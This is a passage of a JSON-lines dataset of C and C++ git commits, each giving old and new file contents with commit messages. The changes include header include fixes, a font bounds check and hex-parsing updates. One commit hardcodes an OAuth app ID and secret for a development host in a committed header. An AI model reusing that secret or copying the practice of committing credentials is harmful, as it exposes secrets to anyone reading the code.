cimag(y));\n}\n\nstatic inline _Bool identical(float x, float y)\n{\n    return reinterpret(uint32_t, x) == reinterpret(uint32_t, y);\n}\n\n_Noreturn void abort(void);\n\n#define verify(cond, x) if (!(cond)) {                                                               \\\n    float y = x;                                                                                     \\\n    fprintf(stderr, \"Assertion `\"#cond\"' failed at %g (%#\"PRIx32\")\\n\", y, reinterpret(uint32_t, y)); \\\n    abort();                                                                                         \\\n}\n\n\/* vim: set ft=c: *\/\n","subject":"Test helper for complex functions","message":"Test helper for complex functions\n","lang":"C","license":"mit","repos":"jdh8\/metallic,jdh8\/metallic,jdh8\/metallic,jdh8\/metallic,jdh8\/metallic"}
{"commit":"c458a1c32a0bfcb1ac77cb38a648efdc1e0696ad","old_file":"include\/response.h","new_file":"include\/response.h","old_contents":"#ifndef CPR_RESPONSE_H\n#define CPR_RESPONSE_H\n\n#include <string>\n\n#include \"cookies.h\"\n#include \"cprtypes.h\"\n#include \"defines.h\"\n#include \"error.h\"\n\nnamespace cpr {\nclass Response {\n  public:\n    Response() = default;\n\n    template <typename TextType, typename HeaderType, typename UrlType, typename CookiesType, typename ErrorType>\n    Response(const long& p_status_code, TextType&& p_text, HeaderType&& p_header, UrlType&& p_url,\n             const double& p_elapsed, ErrorType&& p_error = Error{}, CookiesType&& p_cookies = Cookies{})\n            : status_code{p_status_code}, text{CPR_FWD(p_text)}, header{CPR_FWD(p_header)},\n              url{CPR_FWD(p_url)}, elapsed{p_elapsed}, cookies{CPR_FWD(p_cookies)}, error{CPR_FWD(p_error)} {}\n\n    long status_code;\n    std::string text;\n    Header header;\n    Url url;\n    double elapsed;\n    Cookies cookies;\n\n    \/\/error conditions\n    Error error;\n};\n\n} \/\/ namespace cpr\n\n#endif\n","new_contents":"#ifndef CPR_RESPONSE_H\n#define CPR_RESPONSE_H\n\n#include <string>\n\n#include \"cookies.h\"\n#include \"cprtypes.h\"\n#include \"defines.h\"\n#include \"error.h\"\n\nnamespace cpr {\nclass Response {\n  public:\n    Response() = default;\n\n    template <typename TextType, typename HeaderType, typename UrlType, typename CookiesType, typename ErrorType>\n    Response(const long& p_status_code, TextType&& p_text, HeaderType&& p_header, UrlType&& p_url,\n             const double& p_elapsed, ErrorType&& p_error = Error{}, CookiesType&& p_cookies = Cookies{})\n            : status_code{p_status_code}, text{CPR_FWD(p_text)}, header{CPR_FWD(p_header)},\n              url{CPR_FWD(p_url)}, elapsed{p_elapsed}, cookies{CPR_FWD(p_cookies)}, error{CPR_FWD(p_error)} {}\n\n    long status_code;\n    std::string text;\n    Header header;\n    Url url;\n    double elapsed;\n    Cookies cookies;\n    Error error;\n};\n\n} \/\/ namespace cpr\n\n#endif\n","subject":"Remove explanatory comment as it should be obvious what the member is","message":"Remove explanatory comment as it should be obvious what the member is\n","lang":"C","license":"mit","repos":"SuperV1234\/cpr,SuperV1234\/cpr,whoshuu\/cpr,msuvajac\/cpr,whoshuu\/cpr,whoshuu\/cpr,SuperV1234\/cpr,msuvajac\/cpr,msuvajac\/cpr"}
{"commit":"d152f432634b2a8fe378f24e8ffb05b6599881ec","old_file":"scanner\/scanner.h","new_file":"scanner\/scanner.h","old_contents":"#ifndef SCANNER_H\n#define SCANNER_H\n\n#include <QString>\n#include <QChar>\n#include <QVector>\n#include \"token.h\"\n\n\/**\n * @class Scanner\n * @brief Class representing a scanner (lexical analyzer). It takes a file path as input and generates tokens, either lazily or as a QVector.\n *\/\nclass Scanner\n{\npublic:\n    Scanner(const QString& sourcePath);\n    \/**\n     * @brief Read until a token is parsed, add it to the vector of tokens and return the last one (by value).\n     * @return the newest token.\n     *\/\n    Token nextToken();\n\nprivate:\n    QChar peek() const;\n    QChar next();\n\n    QString fileContent;\n    QVector<Token> tokens;\n    int currentChar = 0;\n    int currentLine = 0;\n    int currentRow = 0;\n};\n\n#endif \/\/ SCANNER_H\n","new_contents":"#ifndef SCANNER_H\n#define SCANNER_H\n\n#include <QString>\n#include <QChar>\n#include <QVector>\n#include \"token.h\"\n\n\/**\n * @class Scanner\n * @brief Class representing a scanner (lexical analyzer). It takes a file path as input and generates tokens, either lazily or as a QVector.\n *\/\nclass Scanner\n{\npublic:\n    Scanner(const QString& sourcePath);\n    \/**\n     * @brief Read until a token is parsed, add it to the vector of tokens and return the last one (by value).\n     * @return the newest token.\n     *\/\n    Token nextToken();\n\nprivate:\n    QChar peek() const;\n    QChar next();\n\n    QString fileContent;\n    QVector<Token> tokens;\n    int currentChar = 0;\n    int currentLine = 1;\n    int currentRow = 1;\n};\n\n#endif \/\/ SCANNER_H\n","subject":"Set default line and row to 1","message":"Set default line and row to 1\n","lang":"C","license":"mit","repos":"bisthebis\/Boboscript,bisthebis\/Boboscript"}
{"commit":"5c457b95ac29e548f50e0c36287016454d8ac076","old_file":"pset2\/Hacker\/initials.c","new_file":"pset2\/Hacker\/initials.c","old_contents":"\/****************************************************************************\n * initials.c\n *\n * Computer Science 50\n * Problem Set 2 - Hacker Edition\n *\n * Return uppercase initials of name provided.\n ***************************************************************************\/\n\n#include <stdio.h>\n#include <string.h>\n#include <ctype.h>\n#include <stdlib.h>\n\nint main(void)\n{\n    \/\/ get name from user\n    printf(\"Enter name: \");\n    char* name = malloc(128*sizeof(char));\n    fgets (name, 128, stdin);\n\n    printf(\"%c\", toupper(name[0]));\n\n    for (int i = 1; i < strlen(name); i++)\n    {\n        if (name[i] == ' ')\n        {\n            while (name[i] == ' ')\n                i++;\n            printf(\"%c\", toupper(name[i]));\n        }\n    }\n    printf(\"\\n\");\n}\n","new_contents":"\/****************************************************************************\n * initials.c\n *\n * Computer Science 50\n * Problem Set 2 - Hacker Edition\n *\n * Return uppercase initials of name provided.\n ***************************************************************************\/\n\n#include <stdio.h>\n#include <string.h>\n#include <ctype.h>\n#include <stdlib.h>\n\nint main(void)\n{\n    \/\/ get name from user\n    printf(\"Enter name: \");\n    char* name = malloc(128*sizeof(char));\n    fgets (name, 128, stdin);\n\n    printf(\"%c\", toupper(name[0]));\n\n    for (int i = 1, n = strlen(name); i < n; i++)\n    {\n        if (name[i] == ' ')\n        {\n            while (name[i] == ' ')\n                i++;\n            printf(\"%c\", toupper(name[i]));\n        }\n    }\n    printf(\"\\n\");\n}\n","subject":"Optimize pset2 hacker edition slightly.","message":"Optimize pset2 hacker edition slightly.\n","lang":"C","license":"mit","repos":"leeorb321\/CS50,leeorb321\/CS50,leeorb321\/CS50,leeorb321\/CS50,leeorb321\/CS50"}
{"commit":"41c4603134c88859218d56a3680f45dfaa02b80a","old_file":"src\/C++\/helpers.h","new_file":"src\/C++\/helpers.h","old_contents":"#include <iostream>\n\nusing std::cout;\nusing std::cin;\nusing std::endl;\n\nstring get_device_id() {\n  \n  cout << concol::RED << \"Enumerating devices\" << concol::RESET << endl;\n\n  int numDevices = get_numDevices();\n\n  cout << concol::RED << numDevices << \" APS device\" << (numDevices > 1 ? \"s\": \"\")  << \" found\" << concol::RESET << endl;\n\n  if (numDevices < 1)\n    return 0;\n  \n  cout << concol::RED << \"Attempting to get serials\" << concol::RESET << endl;\n\n  const char ** serialBuffer = new const char*[numDevices];\n  get_deviceSerials(serialBuffer);\n\n  for (int cnt=0; cnt < numDevices; cnt++) {\n    cout << concol::RED << \"Device \" << cnt << \" serial #: \" << serialBuffer[cnt] << concol::RESET << endl;\n  }\n\n  string deviceSerial;\n\n  if (numDevices == 1) {\n    deviceSerial = string(serialBuffer[0]);\n  }\n  else {\n\n    cout << \"Choose device ID [0]: \";\n    string input = \"\";\n    getline(cin, input);\n\n    int device_id = 0;\n    if (input.length() != 0) {\n      std::stringstream mystream(input);\n      mystream >> device_id;\n    }\n    deviceSerial = string(serialBuffer[device_id]);\n  }\n\n  delete[] serialBuffer;\n  return deviceSerial;\n\n}","new_contents":"#include <iostream>\n#include <sstream>\n\n#include \"concol.h\"\n\nusing std::cout;\nusing std::cin;\nusing std::endl;\nusing std::string;\n\nstring get_device_id() {\n  \n  cout << concol::RED << \"Enumerating devices\" << concol::RESET << endl;\n\n  int numDevices = get_numDevices();\n\n  cout << concol::RED << numDevices << \" APS device\" << (numDevices > 1 ? \"s\": \"\")  << \" found\" << concol::RESET << endl;\n\n  if (numDevices < 1)\n    return 0;\n  \n  cout << concol::RED << \"Attempting to get serials\" << concol::RESET << endl;\n\n  const char ** serialBuffer = new const char*[numDevices];\n  get_deviceSerials(serialBuffer);\n\n  for (int cnt=0; cnt < numDevices; cnt++) {\n    cout << concol::RED << \"Device \" << cnt << \" serial #: \" << serialBuffer[cnt] << concol::RESET << endl;\n  }\n\n  string deviceSerial;\n\n  if (numDevices == 1) {\n    deviceSerial = string(serialBuffer[0]);\n  }\n  else {\n\n    cout << \"Choose device ID [0]: \";\n    string input = \"\";\n    getline(cin, input);\n\n    int device_id = 0;\n    if (input.length() != 0) {\n      std::stringstream mystream(input);\n      mystream >> device_id;\n    }\n    deviceSerial = string(serialBuffer[device_id]);\n  }\n\n  delete[] serialBuffer;\n  return deviceSerial;\n\n}","subject":"Add necessary include to get_device_id helper","message":"Add necessary include to get_device_id helper\n","lang":"C","license":"apache-2.0","repos":"BBN-Q\/libaps2,BBN-Q\/libaps2,BBN-Q\/libaps2,BBN-Q\/libaps2,BBN-Q\/libaps2"}
{"commit":"164434b5d164cd992ea85536ce4f073eb8f60ca5","old_file":"IoTally\/PachubeAppCredentials-Dev.h","new_file":"IoTally\/PachubeAppCredentials-Dev.h","old_contents":"","new_contents":"\/\/\n\/\/  PachubeAppCredentials.h\n\/\/  IoTally\n\/\/\n\/\/  Created by Levent Ali on 09\/02\/2012.\n\/\/  Copyright (c) 2012 __MyCompanyName__. All rights reserved.\n\/\/\n\n#define kPBoAuthAppId            @\"e03db05a9cb717769d41\"\n#define kPBoAuthAppSecret        @\"VYeiGP-4aLsQbm9Ywu7VKJJzSVRBvTeuyyGN2UyQsWestpcc\"\n#define kPBoauthRedirectURI      @\"https:\/\/appdev.loc\/?levent=oauth\"\n#define kPBsiteEndpoint          @\"https:\/\/appdev.loc\"\n#define kPBapiEndpoint           @\"https:\/\/api.appdev.loc\/v2\"\n","subject":"Add dev home vm creds","message":"Add dev home vm creds\n","lang":"C","license":"mit","repos":"levent\/IoTally"}
{"commit":"92843c3f7aa8cc483c5c2271489197c376d95d6f","old_file":"src\/Stdafx.h","new_file":"src\/Stdafx.h","old_contents":"#pragma once\n\n#include <future>\n#include <list>\n#include <map>\n#include <set>\n\n#include <Shlwapi.h>\n#include \"..\/lib\/foobar2000_sdk\/foobar2000\/SDK\/foobar2000.h\"\n#include \"..\/lib\/tinyxml2\/tinyxml2.h\"\n\n#define PLUGIN_NAME \"WPL Playlist support\"\n#define PLUGIN_VERSION \"1.0.2\"\n#define CONSOLE_HEADER \"foo_wpl: \"","new_contents":"#pragma once\n\n#include <future>\n#include <list>\n#include <map>\n#include <set>\n\n#include <Shlwapi.h>\n#include \"..\/lib\/foobar2000_sdk\/foobar2000\/SDK\/foobar2000.h\"\n#include \"..\/lib\/tinyxml2\/tinyxml2.h\"\n\n#define PLUGIN_NAME \"WPL Playlist support\"\n#define PLUGIN_VERSION \"1.1\"\n#define CONSOLE_HEADER \"foo_wpl: \"","subject":"Update plugin version to 1.1","message":"Update plugin version to 1.1\n","lang":"C","license":"bsd-3-clause","repos":"UrbanCMC\/foo_wpl"}
{"commit":"618aa06fa17c1aed3cce18218c41b2c7e517c935","old_file":"src\/pyfont.h","new_file":"src\/pyfont.h","old_contents":"#ifndef PYFONT_H\n#define PYFONT_H\n\n#include <stdint.h>\n#include <stddef.h>\n\nstruct PyFont\n{\n    PyFont(uint8_t chars, uint8_t baseChar, const uint8_t* data, const uint16_t* offsets, const uint8_t* sizes):\n        chars(chars), baseChar(baseChar), data(data), offsets(offsets), sizes(sizes) {}\n\n    uint8_t chars;\n    uint8_t baseChar;\n    const uint8_t* data;\n    const uint16_t* offsets;\n    const uint8_t* sizes;\n\n    uint8_t getCharSize(char ch) const\n    {\n    \tuint16_t o = ((uint8_t)ch)-baseChar;\n        return sizes[o];\n    }\n\n    const uint8_t* getCharData(char ch) const\n    {\n      uint16_t o = ((uint8_t)ch)-baseChar;\n      return data + offsets[o];\n    }\n};\n\n\nint renderText(const PyFont& f, const char* text, uint8_t* output, int maxSize);\nsize_t calculateRenderedLength(const PyFont& f, const char* text);\n\n#endif \/\/PYFONT_H\n","new_contents":"#ifndef PYFONT_H\n#define PYFONT_H\n\n#include <stdint.h>\n#include <stddef.h>\n\nstruct PyFont\n{\n    PyFont(uint8_t chars, uint8_t baseChar, const uint8_t* data, const uint16_t* offsets, const uint8_t* sizes):\n        chars(chars), baseChar(baseChar), data(data), offsets(offsets), sizes(sizes) {}\n\n    uint8_t chars;\n    uint8_t baseChar;\n    const uint8_t* data;\n    const uint16_t* offsets;\n    const uint8_t* sizes;\n\n    uint8_t getCharSize(char ch) const\n    {\n        if ((ch < baseChar) || (ch > (chars + baseChar)))\n            ch = baseChar;\n    \tuint16_t o = ((uint8_t)ch)-baseChar;\n        return sizes[o];\n    }\n\n    const uint8_t* getCharData(char ch) const\n    {\n        if ((ch < baseChar) || (ch > (chars + baseChar)))\n            ch = baseChar;\n        uint16_t o = ((uint8_t)ch)-baseChar;\n        return data + offsets[o];\n    }\n};\n\n\nint renderText(const PyFont& f, const char* text, uint8_t* output, int maxSize);\nsize_t calculateRenderedLength(const PyFont& f, const char* text);\n\n#endif \/\/PYFONT_H\n","subject":"Fix for newlines and other non-printable chars in renderer","message":"Fix for newlines and other non-printable chars in renderer\n","lang":"C","license":"mit","repos":"bartoszbielawski\/InfoClock,bartoszbielawski\/InfoClock"}
{"commit":"589a9d66803e323c66ef78ebf499cc49a6b65fe7","old_file":"Source\/World\/Block\/BlockDatabase.h","new_file":"Source\/World\/Block\/BlockDatabase.h","old_contents":"#ifndef BlockDatabase_H_INCLUDED\n#define BlockDatabase_H_INCLUDED\n\n#include <memory>\n#include <array>\n\n#include \"Types\/BlockType.h\"\n#include \"BlockID.h\"\n\n#include \"..\/..\/Texture\/Texture_Atlas.h\"\n\nnamespace Block\n{\n    class Database\n    {\n        public:\n            static Database& get();\n\n            Database();\n\n            const BlockType& getBlock(uint8_t id) const;\n            const BlockType& getBlock(ID blockID) const;\n\n            const Texture::Atlas& getTextureAtlas() const;\n\n        private:\n            std::array<std::unique_ptr<BlockType>, (int)ID::NUM_BlockTypeS> m_blocks;\n\n            Texture::Atlas m_textures;\n    };\n\n    const BlockType& get(uint8_t id);\n    const BlockType& get(ID blockID);\n}\n\n#endif \/\/ BlockDatabase_H_INCLUDED\n","new_contents":"#ifndef BlockDatabase_H_INCLUDED\n#define BlockDatabase_H_INCLUDED\n\n#include <memory>\n#include <array>\n\n#include \"Types\/BlockType.h\"\n#include \"BlockID.h\"\n\n#include \"..\/..\/Texture\/Texture_Atlas.h\"\n\nnamespace Block\n{\n    class Database\n    {\n        public:\n            static Database& get();\n\n            const BlockType& getBlock(uint8_t id) const;\n            const BlockType& getBlock(ID blockID) const;\n\n            const Texture::Atlas& getTextureAtlas() const;\n\n        private:\n            Database();\n\n            std::array<std::unique_ptr<BlockType>, (int)ID::NUM_BlockTypeS> m_blocks;\n\n            Texture::Atlas m_textures;\n    };\n\n    const BlockType& get(uint8_t id);\n    const BlockType& get(ID blockID);\n}\n\n#endif \/\/ BlockDatabase_H_INCLUDED\n","subject":"Fix the block database singleton","message":"Fix the block database singleton\n","lang":"C","license":"mit","repos":"Hopson97\/HopsonCraft,Hopson97\/HopsonCraft"}
{"commit":"2ca0a974b6a0dec32f8827757d844a45d8077be2","old_file":"mudlib\/mud\/home\/Text\/sys\/verb\/ooc\/wiz\/object\/frename.c","new_file":"mudlib\/mud\/home\/Text\/sys\/verb\/ooc\/wiz\/object\/frename.c","old_contents":"","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2012  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kotaka\/paths.h>\n#include <text\/paths.h>\n\ninherit LIB_RAWVERB;\n\natomic private void do_folder_rename(string old, string new)\n{\n\tmapping map;\n\tstring *names;\n\tint *keys;\n\tint sz, i;\n\n\tmap = CATALOGD->list_directory(old);\n\n\tnames = map_indices(map);\n\tkeys = map_values(map);\n\n\tsz = sizeof(names);\n\n\tfor (i = 0; i < sz; i++) {\n\t\tstring name;\n\n\t\tname = names[i];\n\n\t\tswitch(keys[i]) {\n\t\tcase 1: \/* object *\/\n\t\t\tCATALOGD->lookup_object(old + \":\" + name)->set_object_name(new + \":\" + name);\n\t\t\tbreak;\n\t\tcase 2:\n\t\t\tdo_folder_rename(old + \":\" + name, new + \":\" + name);\n\t\t}\n\t}\n}\n\nvoid main(object actor, string args)\n{\n\tstring old, new;\n\tobject user;\n\n\tuser = query_user();\n\n\tif (user->query_class() < 2) {\n\t\tsend_out(\"You do not have sufficient access rights to rename catalog folders.\\n\");\n\t\treturn;\n\t}\n\n\tif (sscanf(args, \"%s %s\", old, new) != 2) {\n\t\tsend_out(\"Usage: frename old_folder new_folder\\n\");\n\t\treturn;\n\t}\n\n\tswitch (CATALOGD->test_name(old)) {\n\tcase -2: send_out(old + \" has an object in it.\\n\"); return;\n\tcase -1: send_out(old + \" does not exist somewhere.\\n\"); return;\n\tcase 0: send_out(old + \" does not exist.\\n\"); return;\n\tcase 1: send_out(old + \" is an object.\\n\"); return;\n\t}\n\n\tswitch (CATALOGD->test_name(new)) {\n\tcase -2: send_out(new + \" has an object in it.\\n\"); return;\n\tcase 2: send_out(new + \" already exists.\\n\"); return;\n\tcase 1: send_out(new + \" is an object.\\n\"); return;\n\t}\n\n\tdo_folder_rename(old, new);\n}\n","subject":"Add catalog folder rename command","message":"Add catalog folder rename command\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"56bde90e1ebe943fe005585662f93f6d65460bdd","old_file":"src\/lib\/hex-dec.c","new_file":"src\/lib\/hex-dec.c","old_contents":"\/* Copyright (c) 2005-2011 Dovecot authors, see the included COPYING file *\/\n\n#include \"lib.h\"\n#include \"hex-dec.h\"\n\nvoid dec2hex(unsigned char *hexstr, uintmax_t dec, unsigned int hexstr_size)\n{\n\tunsigned int i;\n\n\tfor (i = 0; i < hexstr_size; i++) {\n\t\tunsigned int value = dec & 0x0f;\n\t\tif (value < 10)\n\t\t\thexstr[hexstr_size-i-1] = value + '0';\n\t\telse\n\t\t\thexstr[hexstr_size-i-1] = value - 10 + 'A';\n\t\tdec >>= 4;\n\t}\n}\n\nuintmax_t hex2dec(const unsigned char *data, unsigned int len)\n{\n\tunsigned int i;\n\tuintmax_t value = 0;\n\n\tfor (i = 0; i < len; i++) {\n\t\tvalue = value*0x10;\n\t\tif (data[i] >= '0' && data[i] <= '9')\n\t\t\tvalue += data[i]-'0';\n\t\telse if (data[i] >= 'A' && data[i] <= 'F')\n\t\t\tvalue += data[i]-'A' + 10;\n\t\telse\n\t\t\treturn 0;\n\t}\n\treturn value;\n}\n\n","new_contents":"\/* Copyright (c) 2005-2011 Dovecot authors, see the included COPYING file *\/\n\n#include \"lib.h\"\n#include \"hex-dec.h\"\n\nvoid dec2hex(unsigned char *hexstr, uintmax_t dec, unsigned int hexstr_size)\n{\n\tunsigned int i;\n\n\tfor (i = 0; i < hexstr_size; i++) {\n\t\tunsigned int value = dec & 0x0f;\n\t\tif (value < 10)\n\t\t\thexstr[hexstr_size-i-1] = value + '0';\n\t\telse\n\t\t\thexstr[hexstr_size-i-1] = value - 10 + 'A';\n\t\tdec >>= 4;\n\t}\n}\n\nuintmax_t hex2dec(const unsigned char *data, unsigned int len)\n{\n\tunsigned int i;\n\tuintmax_t value = 0;\n\n\tfor (i = 0; i < len; i++) {\n\t\tvalue = value*0x10;\n\t\tif (data[i] >= '0' && data[i] <= '9')\n\t\t\tvalue += data[i]-'0';\n\t\telse if (data[i] >= 'A' && data[i] <= 'F')\n\t\t\tvalue += data[i]-'A' + 10;\n\t\telse if (data[i] >= 'a' && data[i] <= 'f')\n\t\t\tvalue += data[i]-'a' + 10;\n\t\telse\n\t\t\treturn 0;\n\t}\n\treturn value;\n}\n\n","subject":"Allow data to contain also lowercase hex characters.","message":"hex2dec(): Allow data to contain also lowercase hex characters.\n","lang":"C","license":"mit","repos":"jkerihuel\/dovecot,jkerihuel\/dovecot,jkerihuel\/dovecot,jwm\/dovecot-notmuch,jwm\/dovecot-notmuch,jwm\/dovecot-notmuch,jwm\/dovecot-notmuch,jkerihuel\/dovecot,jkerihuel\/dovecot,jwm\/dovecot-notmuch"}
{"commit":"3011d09c458f1f62ec95bd027344c579c54561e2","old_file":"exercises\/004-ethernet-leds.c","new_file":"exercises\/004-ethernet-leds.c","old_contents":"","new_contents":"#include <inc\/hw_types.h>\n#include <driverlib\/sysctl.h>\n#include <stdio.h>\n#include <string.h>\n#include <inc\/hw_memmap.h>\n#include <inc\/hw_sysctl.h>\n#include <driverlib\/gpio.h>\n#include <driverlib\/debug.h>\n\n#define DEFAULT_STRENGTH GPIO_STRENGTH_2MA\n#define DEFAULT_PULL_TYPE GPIO_PIN_TYPE_STD_WPU\n#define PORT_E GPIO_PORTE_BASE\n#define PORT_F GPIO_PORTF_BASE\n#define PIN_0 GPIO_PIN_0\n#define PIN_1 GPIO_PIN_1\n#define PIN_2 GPIO_PIN_2\n#define PIN_3 GPIO_PIN_3\n#define HIGH 0xFF\n#define LOW 0x00\n\nint btnAPressed,  btnBPressed = 0;\n\nvoid setup() {\n  SysCtlClockSet(SYSCTL_SYSDIV_4 | SYSCTL_USE_PLL | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ);\n\n  SysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOE);\n  GPIOPinTypeGPIOInput(PORT_E, PIN_0 | PIN_1 | PIN_2 | PIN_3);\n  GPIOPadConfigSet(PORT_E, PIN_0 | PIN_1 | PIN_2 | PIN_3, DEFAULT_STRENGTH, DEFAULT_PULL_TYPE);\n\n  SysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOF);\n  GPIOPinTypeGPIOOutput(PORT_F, PIN_0 | PIN_1 | PIN_2 | PIN_3);\n  GPIOPadConfigSet(PORT_F, PIN_0 | PIN_1 | PIN_2 | PIN_3, DEFAULT_STRENGTH, DEFAULT_PULL_TYPE);\n}\n\nint main(){\n  setup();\n\n  while (1) {\n    btnAPressed = (GPIOPinRead(PORT_E, PIN_0) & 0x01) != 0x01;\n\tbtnBPressed = (GPIOPinRead(PORT_E, PIN_1) & 0x02) != 0x02;\n\n\tif (btnAPressed)\n\t  GPIOPinWrite(PORT_F, PIN_2, LOW);\n\telse\n\t  GPIOPinWrite(PORT_F, PIN_2, HIGH);\n\n\tif (btnBPressed)\n\t  GPIOPinWrite(PORT_F, PIN_3, LOW);\n\telse\n\t  GPIOPinWrite(PORT_F, PIN_3, HIGH);\n\t}\n}\n","subject":"Add example with ethernet leds","message":"feature: Add example with ethernet leds","lang":"C","license":"mit","repos":"marceloboeira\/unisinos-microprocessors"}
{"commit":"99cbd5c8b2c4c6bdac752da4ec96249ad5165701","old_file":"mama\/c_cpp\/src\/c\/bridge\/qpid\/io.h","new_file":"mama\/c_cpp\/src\/c\/bridge\/qpid\/io.h","old_contents":"\/* $Id$\n *\n * OpenMAMA: The open middleware agnostic messaging API\n * Copyright (C) 2011 NYSE Technologies, Inc.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA\n * 02110-1301 USA\n *\/\n\n#ifndef MAMA_BRIDGE_QPID_IO_H__\n#define MAMA_BRIDGE_QPID_IO_H__\n\n\n\/*=========================================================================\n  =                             Includes                                  =\n  =========================================================================*\/\n\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\n\/*=========================================================================\n  =                  Public implementation functions                      =\n  =========================================================================*\/\n\nmama_status\nqpidBridgeMamaIoImpl_start (void);\n\nmama_status\nqpidBridgeMamaIoImpl_stop  (void);\n\n#if defined(__cplusplus)\n}\n#endif\n\n#endif \/* MAMA_BRIDGE_QPID_IO_H__ *\/\n","new_contents":"\/* $Id$\n *\n * OpenMAMA: The open middleware agnostic messaging API\n * Copyright (C) 2011 NYSE Technologies, Inc.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA\n * 02110-1301 USA\n *\/\n\n#ifndef MAMA_BRIDGE_QPID_IO_H__\n#define MAMA_BRIDGE_QPID_IO_H__\n\n\n\/*=========================================================================\n  =                             Includes                                  =\n  =========================================================================*\/\n\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\n#include <mama\/mama.h>\n\n\/*=========================================================================\n  =                  Public implementation functions                      =\n  =========================================================================*\/\n\nmama_status\nqpidBridgeMamaIoImpl_start (void);\n\nmama_status\nqpidBridgeMamaIoImpl_stop  (void);\n\n#if defined(__cplusplus)\n}\n#endif\n\n#endif \/* MAMA_BRIDGE_QPID_IO_H__ *\/\n","subject":"Fix IO header include issue","message":"QPID: Fix IO header include issue\n\nResolves an issue with QPID io.h, which should include\nmama\/mama.h. Lack of include can cause issues with some\nbuild systems.\n\nSigned-off-by: Damian Maguire <21930bd10afdadbc1f53edcd2634e8f66a5e6d7a@nyx.com>\n","lang":"C","license":"lgpl-2.1","repos":"cloudsmith-io\/openmama,cloudsmith-io\/openmama,MattMulhern\/OpenMamaCassandra,cloudsmith-io\/openmama,philippreston\/OpenMAMA,dmaguire\/OpenMAMA,vulcanft\/openmama,dmaguire\/OpenMAMA,vulcanft\/openmama,vulcanft\/openmama,dmaguire\/OpenMAMA,jacobraj\/MAMA,MattMulhern\/OpenMAMA,dpauls\/OpenMAMA,vulcanft\/openmama,philippreston\/OpenMAMA,MattMulhern\/OpenMAMA,philippreston\/OpenMAMA,dpauls\/OpenMAMA,fquinner\/OpenMAMA,dmagOM\/OpenMAMA-dynamic,dpauls\/OpenMAMA,dpauls\/OpenMAMA,kuangtu\/OpenMAMA,dmaguire\/OpenMAMA,vulcanft\/openmama,kuangtu\/OpenMAMA,dmagOM\/OpenMAMA-dynamic,dmaguire\/OpenMAMA,philippreston\/OpenMAMA,dmagOM\/OpenMAMA-dynamic,kuangtu\/OpenMAMA,jacobraj\/MAMA,MattMulhern\/OpenMAMA,dmagOM\/OpenMAMA-dynamic,MattMulhern\/OpenMAMA,cloudsmith-io\/openmama,MattMulhern\/OpenMamaCassandra,fquinner\/OpenMAMA,fquinner\/OpenMAMA,fquinner\/OpenMAMA,vulcanft\/openmama,MattMulhern\/OpenMAMA,fquinner\/OpenMAMA,philippreston\/OpenMAMA,jacobraj\/MAMA,cloudsmith-io\/openmama,kuangtu\/OpenMAMA,dmagOM\/OpenMAMA-dynamic,fquinner\/OpenMAMA,kuangtu\/OpenMAMA,jacobraj\/MAMA,dpauls\/OpenMAMA,jacobraj\/MAMA,dmaguire\/OpenMAMA,MattMulhern\/OpenMAMA,vulcanft\/openmama,cloudsmith-io\/openmama,MattMulhern\/OpenMamaCassandra,MattMulhern\/OpenMamaCassandra,dmagOM\/OpenMAMA-dynamic,jacobraj\/MAMA,cloudsmith-io\/openmama,philippreston\/OpenMAMA,MattMulhern\/OpenMamaCassandra,kuangtu\/OpenMAMA,dpauls\/OpenMAMA,dpauls\/OpenMAMA,kuangtu\/OpenMAMA,MattMulhern\/OpenMAMA,dmaguire\/OpenMAMA,philippreston\/OpenMAMA,MattMulhern\/OpenMamaCassandra,fquinner\/OpenMAMA"}
{"commit":"f4c443646d35cad3a4b8cd83bd9ddf3cbf852c09","old_file":"histogram\/histogram.pencil.c","new_file":"histogram\/histogram.pencil.c","old_contents":"#include \"histogram.pencil.h\"\n#include <pencil.h>\n\nstatic void calcHist( const int rows\n                    , const int cols\n                    , const int step\n                    , const unsigned char image[static const restrict rows][step]\n                    , int hist[static const restrict HISTOGRAM_BINS]    \/\/out\n                    )\n{\n#pragma scop\n    __pencil_assume(rows >  0);\n    __pencil_assume(cols >  0);\n    __pencil_assume(step >= cols);\n\n    __pencil_kill(hist);\n\n    #pragma pencil independent\n    for(int b = 0; b < HISTOGRAM_BINS; ++b)\n        hist[b] = 0;\n\n    #pragma pencil independent reduction(+:hist)\n    for(int r = 0; r < rows; ++r)\n    {\n        #pragma pencil independent reduction(+:hist)\n        for(int c = 0; c < cols; ++c)\n        {\n      